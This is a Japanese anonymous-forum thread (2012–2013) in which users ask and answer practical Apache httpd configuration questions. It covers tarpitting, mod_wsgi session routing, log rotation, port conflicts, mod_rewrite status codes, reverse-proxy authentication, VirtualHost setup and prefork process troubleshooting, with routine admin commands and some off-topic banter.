SMTPでいうgraylisting みたいなのね でも、誤爆することもあって評判悪い手法だよ
866 :
854 :2012/06/28(木) 14:33:27.37
>>865 似てますね。
検索エンジンにも載せたくないクローズドなサービスでPCからはアクセスできないようにしています。
そのため、PCからの解析目的やアタックを禁止したかったのです。
たしかに誤爆は怖いですね。
ならそんないーかげんな方法じゃなく パスワードかけるなりアクセス元限定するなりしないと。
そんなクローズドなものをろくな制限もなしに誰でもアクセスできる場所で公開すんな
869 :
854 :2012/06/28(木) 17:45:49.89
今は403を返してますが、まれにパケット解析をしてURL直打ちを試みてくる人がいるので応答を返さないのはどうかと思ったのです。
403で何がいかんの。
871 :
854 :2012/06/28(木) 17:51:21.27
レスポンスを返すと次の行動に移す時間が早いので再アタックの間隔が短いのと、どこかからアクセスできるのではと推測する人がいそうで。 この話題はここでクローズさせていただきます。 403のままでいこうかなと思います。
どこからかアクセスできるなんて当たり前じゃん。 推測されるとマズいのか?
> PCからはアクセスできないようにしています。 > PCからの解析目的やアタックを禁止したかったのです。 アクセス出来ないようにしているのに禁止したいってどゆことやろ・・・
返事を遅らせる為にプロセスやメモリを使うのが馬鹿らしい
ゆっくりロリちゃんを作りこんでるようなものだな
下手な考えなんとやら。
メールだとTarpitってのがSPAM対策に有用だけど ここの人間はそれも否定するのか?
あれとこれとは攻撃側の挙動が違うからいっしょくたにできない。
あー、SMTPのtarpitからの発想なのか メールは詰まっても相手が待ってくれるし、同一IPからの接続数制御が拡張じゃなく実装されてるし 一秒に数百の転送とかあまり機会無いし まぁ、mod_cbandあたりを検討してみたまえと。
可能ならFWでSYNから落とせばいいと思うの。 というかTarpittingでも負荷が馬鹿にならないからpostscreenが作られたんじゃなかったっけ…
メールはspammerなら詰まったらあきらめてくれる。もう来ない。 HTTPの攻撃は詰まってもゆっくり攻撃続けるだけ。
メールのtempfail / permfail と違って、まともにHTTPステータスコード見てないものね
apache2.x:prefork
mod_wsgi:デーモンプロセスモード(プロセスを複数起動)
として連携しているときのリクエストとデーモンプロセスの紐付けについて質問です。
リクエストのクッキー(セッション番号)を識別して、mod_wsgiの
デーモンプロセスにリクエストを振り分けることはできないでしょうか?
※リクエストに紐付けたいのはmod_wsgiのデーモンプロセスであって
apacheの子プロセスではありません
製品アプリになのですが、
http://www.4d.com/4d_docv13/4D/13/Web-Sessions-Management.300-862107.ja.html ここに書かれているようなことをapache+mod_wsgiでやりたいということです。
【内容抜粋(ここから)】
4D Webサーバーはユーザーセッションを容易に管理するメカニズムを提供します。
この自動メカニズムを使用して、後のリクエストでWebクライアントが同じコンテキスト
(セレクションや変数の値) を再利用できます。
このメカニズムでは4Dが自動で設定するプライベートな"4DSID"という名前のcookieを使用します
(cookie名は変更できます)。Webクライアントからリクエストを受信するたびに4Dは4DSID cookie
が 送信されてきたか、またその値をチェックします
cookieの値がリクエストヘッダーに含まれていれば、4Dは存在するWebプロセスの中から
対応するプロセスを検索します。
プロセスが見つかれば、そのプロセスがWebリクエストの処理に使用されます。Compiler_Web
メソッドは実行されません。
プロセスが見つからない場合、4Dは新しいプロセスを作成します。
cookieがリクエストヘッダーに含まれていなければ、4Dは新しいコンテキストを作成します。
【内容抜粋(ここまで)】
何卒よろしくお願いします
ログのローテーションを時間で制御(Cron)するとDOS攻撃に弱い気がします 自分のサーバでテストしたところ数分でログが100MBに達しました 皆さんは何か対策してますか?
1リクエストでログどんだけとっているんだよそれ リクエスト長制限しておけばいいんじゃね そもそもdisk fullより先にサービス停止ちゃいそうだけど
別問題だろう
>>885 rotatelogs でサイズ単位でローテート、とか?
まっとうな鯖なら、ローテート連発で保存期間経過前のログが流れる方が問題じゃない?
892 :
77 :2012/07/18(水) 21:33:36.54
Win7にXAMPPを入れましたが、Apacheが起動しないために いろいろ調べてみると、VMWareがポート443を使っているため 競合して起動できないようです。 VMWareの変更はできないようなので、Apache側を変えたいのですが どうすればよいでしょうか?(同一環境内で)
ワイルドカードじゃなく、アドレス指定してbindする。
いやいや、ポートの方 しかもsslの kvmのを動かした方が早そうだけど…
896 :
892 :2012/07/19(木) 00:05:19.11
>>893 Listenってhttpd-ssl.confでポート443が使われてたので444に変えてみました。
これってSSL使うウェブサイト作ると問題出てきますか?
>>896 外部に公開するWebサイトならポートは変えないほうがいいです
変えるなら
>>895 さんが言うとおりkvmの方のポートですね
困るといっても、困るのはどこかのキャリアの携帯電話くらいだろw
だからー、kvmがワイルドカードでバインドしてるんだろ、 apacheはアドレス指定でバインドすればいい。 両方とも443で待てる。
900 :
名無しさん@お腹いっぱい。 :2012/07/29(日) 18:23:10.89
まずいって、どういう事態を心配してるの?
セキュリティ的にやばいとか そんな感じのことってありますか?
setuidがちゃんとされていればね
わかりました setuidにさえ気を付ければこのやり方固有の問題は無いってことですね ありがとうございます
ディレクトリのパーミッションとか
それにも気を付けます ありがとうございました
907 :
名無しさん@お腹いっぱい。 :2012/08/01(水) 12:42:37.17
httpdへの接続本数を監視したいのですが、 サーバー上からコマンドラインで取得するには、どうすればいいでしょうか? apachectlを使ってみたところ、 >apachectl status | grep -i "requests currently being processed" 1 requests currently being processed, 7 idle workers となって、httpで接続しても1 requestsのまま変わりません。 httpでアクセスすると接続本数が0→1になって、ページを閉じて、 KeepAliveTimeOutに設定した時間を過ぎると、1→0となってほしいのですが。
netstatじゃだめ?
apachectl status って、httpd に HTTP で接続して 情報を取得してるってことは理解してる? その接続のぶんもカウントされるからゼロになることはないよ。
910 :
907 :2012/08/01(水) 16:01:32.35
>>908 netstatでもできました。
$ netstat -an -p tcp | awk '{ if($4=="192.168.1.1.80" && $6=="ESTABLISHED") print($0)}' | wc -l
>>909 あ、なるほど。解説ありがとうございました。
KeepAliveTimeOutに設定した時間を過ぎると、2→1となることが確認できました。
911 :
名無しさん@お腹いっぱい。 :2012/08/01(水) 22:22:45.30
あるURLがリクエストされた場合に任意のHTTPステータスを返却したく、 module_rewriteを使って、 rewriteruleで[R=ステータスコード]とする方法を試しました。 3xx系はいけたんですが、4xx/5xx系のステータスコードを設定すると、 なぜかapacheが用意済み?の英語メッセージになります。 こういったやり方は駄目なんですか? RewriteRule 元URL 遷移先URL [L,R=503] ※同一ステータスで異なる遷移先が必要なので、 ErrorDocumentを使う方法はNGかなと考えてます。
3xx以外はRedirectじゃないので、遷移するのはおかしい。
その為のErrorDocumentなんだけどな
914 :
名無しさん@お腹いっぱい。 :2012/08/16(木) 17:27:11.84
mod_proxyでリバプロ作ろうとしててて、
ProxyPass /hoge/
http://a.b.c.d/hoge/ ↑これはうまく動いてます
どうせならベーシック認証も同時に通すかと
ProxyPass /hoge/
http://id:[email protected] /hoge/ ↑こうすると、リバプロとしては動きますがis:passのベーシック認証が通りません
リバースプロクシーにベーシック認証のid:passを書いて使う方法はないですか?
なんでここにid:passを書きたいかというと、リバプロで複数台ぐらいのWebサーバーを集約すると、
集約元の各サーバーのベーシック認証のid:passをブラウザが覚えてくれないからです
Authname を変えたらいーんでね?
916 :
名無しさん@お腹いっぱい。 :2012/08/16(木) 18:14:24.15
Authname全部一緒なんですよ パスワードは全部違うんですけど
Authnameが違うと同じホスト名でも別のアカウント、パスワードを覚えてくれる ブラウザもあるかもね
かもね、じゃなくてそれが正しい実装なのでは。 AuthName で指定するのはダイアログに表示するメッセージではなく認証領域なので、 同じホストでも認証領域が違えば同じユーザ/パスワードは使えないという 前提で実装するのが正しい。そうでないならある認証領域に別の認証領域の ユーザ情報を漏曳するというセキュリティホールになる。
AuthName "ユーザー名とパスワードを入力してください" どんなAuthNameだよww
chromeもFirefoxもホスト単位でしかアカウント覚えないから、/A/、/B/、、、/Z/で別の認証領域つくっても 同じアカウントあると認証通るよ
じゃ、すれち
バカっぽい略語やめろよ。 >リバプロ
こういう略語って職場とかで使ってるんだろうか。 それとも自分で勝手に考えてるんだろうか。
何の略称か分からなかった
Apacheはソースからインストールしてますか?
場合による。
ホリプロ
mod_perl を有効にしたディレクトリで、DirectoryIndex が動作しない。 たとえば、index.cgiが 404 になる。 mod_perl が無効なディレクトリでは index が動作する。 なんででしょう? ぐぐると、mod_rewrite との関係の話があったけど、mod_rewriteを無効にしても 結果は変わらんかった。 mod_perlの設定は以下のような。 <IfModule mod_perl.c> Alias /cgi/ "/home/user/public_html/cgi/" <Location "/cgi"> SetHandler perl-script PerlHandler ModPerl::Registry Options ExecCGI Allow from all PerlSendHeader On </Location> </IfModule>
こだし、あとだし乙
931 :
名無しさん@お腹いっぱい。 :2012/09/05(水) 00:49:55.15
KeepAliveの動作についてご存じの方、教えてください KeepAlive中に400以降のステータスコードが出た場合、張っていたセッションは明示的に切られますか?それとも200同様にセッションは継続できますか? 検索したのですがtomcatとかなんかはヒットしたのですが、apacheの動作は見つけられませんでした
telnet でつないで試してみればいいじゃん。
>>922 うちにもいるわw こういう略語使う馬鹿
ダブルクリックのことをダブクリとか
は?って聞き返してしまった
935 :
名無しさん@お腹いっぱい。 :2012/10/29(月) 14:13:20.27
TRACEコマンド投げたときに冒頭に出力される 4f とかの 16進のコードは何を意味してるの?
>>935 HTTP/1.1のchunked encoding?
文字列の長さだったわ
938 :
名無しさん@お腹いっぱい。 :2012/12/27(木) 15:02:41.96
環境は Ubuntu Server 12.04.1 LTS amd64 です。 apache2 で WebDAV を使いたくて、apache2 のインストール時?に、 一緒にインストールされるサンプル /usr/share/doc/apache2/examples/apache2/extra/httpd-dav.conf を参考にしているのですが、このサンプルの中身の記述のせいで戸惑っています。 このサンプルには、次のようなコメントがあります。 # Required modules: mod_dav, mod_dav_fs, mod_setenvif, mod_alias # mod_auth_digest, mod_authn_file しかしこれらのモジュール名は、apache の、 たぶんもっと古いバージョンの時代に用いられていたもののはずで、 現在の apache2.2 ではすでに廃止されているものかと思います。 現在の apache2.2 で WebDAV を使うのに必要なモジュールというのは、 正確には何でしょう?以下の4つで良いのでしょうか? /etc/apache2/mods-available/dav_fs.conf /etc/apache2/mods-available/dav_fs.load /etc/apache2/mods-available/dav.load /etc/apache2/mods-available/dav_lock.load
>>938 その辺はディストリ依存の話だからLinux板へ。
940 :
名無しさん@お腹いっぱい。 :2012/12/27(木) 15:28:19.62
>>939 そうでしたか。了解。失礼いたしました。
941 :
名無しさん@お腹いっぱい。 :2013/01/17(木) 10:08:49.97
Ubuntu スレから移動してきました。 環境は Ubuntu Server 12.0.4.1 LTS amd64 です。 apache2.2 で rep2 鯖にしようと思ってます。 この書き込み自体がその環境からのもので、つまり既に動いてます。 ただ apache の使用ポートをデフォルトの 80 から任意のもの(例えば81)に変更したくて、 /etc/apache2/ports.conf をそのように書き換え、 # service apache2 restart したんですが、 NameVirtualHost *:81 has no VirtualHosts と言われてサービスを正しく起動出来ません。 apache2 自体が起動しなくなります。 任意のポートで正しく apache2 を起動させるには、何処をいじる必要がありますか? ディストリビューション固有の問題は自分で調べるとして、 apache2.2で特定ポートを使用する場合にせねばならない一般的なことに関して、 どなたかアドバイスをいただけないでしょうか。 よろしくお願いいたします。
日本語マニュアルが提供されてるのにそれを読みたくないなら業者に頼みなよ。
>>941 VirtualHostsは使ってる?
使ってないのならListenだけ81にしてVirtualHostは80のままだと起動する 今12.10で確認した
944 :
名無しさん@お腹いっぱい。 :2013/01/17(木) 12:59:10.99
>>943 なるほど。と思ってそうしてみたら確かに起動はしました。
しかし ht
ttp://ubuntu.local.ip.address:81/ にアクセスしても「そんなん無い」って言われて、
元の /var/www/index.html を読みに行けませんでした。
おかしいと思って /etc/apache2/sites-available/default を見たら、
そこに VirtualHost の定義があったので、/etc/apache2/ports.conf の設定共々、
VirtualHost *:81 にしてやったら普通に起動し、
かつ、/var/www/index.html も読みに行ってくれました。
というわけで今回のこの投稿は ht
ttp://ubuntu.local.ip.address:81/rep2/ からとなります。
ありがとうございました。
>>941 ポート番号は任意のものが使えるわけではない
946 :
名無しさん@お腹いっぱい。 :2013/01/19(土) 14:47:15.02
でも
>>944 の通り、任意のものが使えているのですが。。。
てことはDebianでApache使ってる奴も質問禁止か ごめんねオレオレツールで本家に迷惑かけてるディストリビューション使ってて
自前でビルドすりゃ問題ないな
みなさんに質問です。 Apacheを次のどちらにインストールしていますか? 1。物理マシン 2。仮想マシン(VMWare Player、VirtualBoxなど)
全角数字+句点で聞く奴には教えてやらない。
みなさんに質問です。 Apacheを次のどちらにインストールしていますか? 1. 物理マシン 2. 仮想マシン(VMWare Player、VirtualBoxなど)
1
両方
仕事で200台以上面倒見ているけど両方。 VM環境が増えてきたから、普段は意識していないけど
PerlのCGIが複数動いているんですが、平均でどれが一番負荷がかかってるか 調べる方法ってどんなんがありますかね・・・? CPUを専有してるやつを別鯖に分離したいんですが。
プロセス一覧で
psだとその時点でのしか見えないんでは?
topで
perlを #!/bin/sh time perl.bin "$@" というwrapperに入れ替える。 CGI以外からの実行に対して何等かの小細工が必要だけど。
別な場所に分離できる権限があるならtimesを仕込むこともできそうだが。
963 :
名無しさん@お腹いっぱい。 :2013/02/11(月) 15:06:08.56
.htaccess に指定する mod_rewrite について いまいち意味が分からないので質問させて下さい。 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php [QSA,L] ← これはどういう意味ですか? </IfModule>
965 :
名無しさん@お腹いっぱい。 :2013/02/25(月) 13:48:33.44
エラーログに [client ::] client denied by server configuration: と出力されるのですが、何が原因でしょうか? Directoryタグ内でアクセス制限をかけていますが、同じページでも表示されたりされなかったりばらばらです
何が原因でしょうって、ここに書いてあるじゃん。 > client denied by server configuration: あんたが拒絶するように設定したからだよ。
でもIPv6の::がクライアントになっているのが謎過ぎるよねw
968 :
965 :2013/02/27(水) 09:28:24.33
たしかに、 Order deny,allow Deny from all Allow from 192.168.1.0/24 と設定しているのですが、許可されたセグメントからアクセスしているにもかかわらず、上のログが出力されているので、質問しました Allow from 192.168.1.0/24 :: とすることで、一応はエラーが出なくなったようですが、やはり気持ち悪いです
969 :
名無しさん@お腹いっぱい。 :2013/03/09(土) 20:55:56.90
apachee2.2系から挙動がおかしくなってる気がする
970 :
名無しさん@お腹いっぱい。 :2013/03/13(水) 03:26:42.91
Centos6.2+apache2.2環境でロードアベレージは低いのに、apacheの子プロセス数が どんどん減っていき、しまいには一桁になってしまいサイト表示が出来なくなるとい う症状が出ています。 この状態に陥ったときは、apacheをrestartしても直ぐに症状が再発しまい、サーバー をリブートしないと改善しないので困り果てています。 また、apacheのエラーログやmessagesにはこの件に関係するログは何も出力されて いません。 どなたか同じような症状を経験されて、対応出来た方アドバイスを頂けないでしょ うか。
971 :
970 :2013/03/13(水) 03:28:19.73
■状況 サイトが表示出来ていない事を確認し、/etc/init.d/httpd restartをするも Address already in use: make_sock: could not bind to addressと出る killall httpdとし、その後/etc/init.d/httpd startをすると正常にapacheが起動 するも、apache start後、直ぐにapacheのプロセス数が1001まで一気に上昇しその後 一気にプロセス数が下がっていく。秒間およそ200プロセス位が減っていたと思います。 apache start後のプロセス数上昇中はサイト表示が出来ているが、一気にプロセス数 が減少しはじめた段階でサイト表示は出来ていない。 普段は同様の時間帯でapacheのプロセス数は400程度。 apacheはprefork MaxClientやServerLimitなどは以下のとおりです。 StartServers 8 MinSpareServers 5 MaxSpareServers 50 ServerLimit 1500 MaxClients 1500 MaxRequestsPerChild 2000 尚、KeepAliveはoffです。 どなたかアドバイス頂けないでしょうか。宜しくお願いします。
Linux板で聞いた方がいいんじゃね。
973 :
970 :2013/03/13(水) 10:47:32.26
>> 972 たしかにw 書き込んでから気づきました、そうしますw
ブラウザがwebpに対応しているかはどうやったら分かりますか?
ServerNameディレクティブはVirtualHost使わないと、 ほとんど使わないって認識であってますか
多分そう 俺はいつもlocalhostって書いちゃう
サーバーネームを鯖読む
>>975 /hoge がディレクトリだったときに /hoge/ にリダイレクトするのに
UseCanonicalName の設定によっては ServerName の値が使われることがある。
cgiとかで環境変数経由でホスト名を取得する時とか便利よ テストと公開版の切り替えとかね
jenkinsをインストールしてドメイン:8080でアクセスできるようにはなったのですが
ttp://zuqqhi2.com/?p=182 こちらのサイトを参考にドメイン/jenkinsでアクセスするようにしようとしたら
既に<VirtualHost *:80>内にvar/www/htmlの設定が記述されていました
ホームページも作って置いてあるのでアクセスできるようにしつつ、jenkinsにもアクセスできるようにするには
<VirtualHost *:80>の項目を2つ作成すればいいということですか?それとも<VirtualHost *:80>タグ内の
既存の項目の下に追記すればよいのでしょうか
,-――――――-. / | / | / | l"ジェンキン寿司 l ,、_lー-―――――‐--、/l i ト、ミミ ,r‐- 、``'ニ=‐、.彡リ. ヾ,iハ゛.´ _,,、_ i.; _,. ` 彡'i) `、j,' `゚''´:.ノ i::<・ゝ) .ハン へいらっしゃい!! i, ` ,、/ i_ `` ,r' ,r〃'i ,r'ヽ、 _,〉 /. /i:ト、;;i, ミ=_‐_-, 'i /ヽ__ r-‐'´i::::ハ;;ヾ、‐‐-、 ノ´/i:::'i`i‐- 、_ ::i' .l:i 'i::::i ヾ;;`‐---‐'i':/ i、 'i::! i::::i ` :i' i:| !:::l _,r.、;;;;;,r''´ヽi. ll::i i::i l:::'i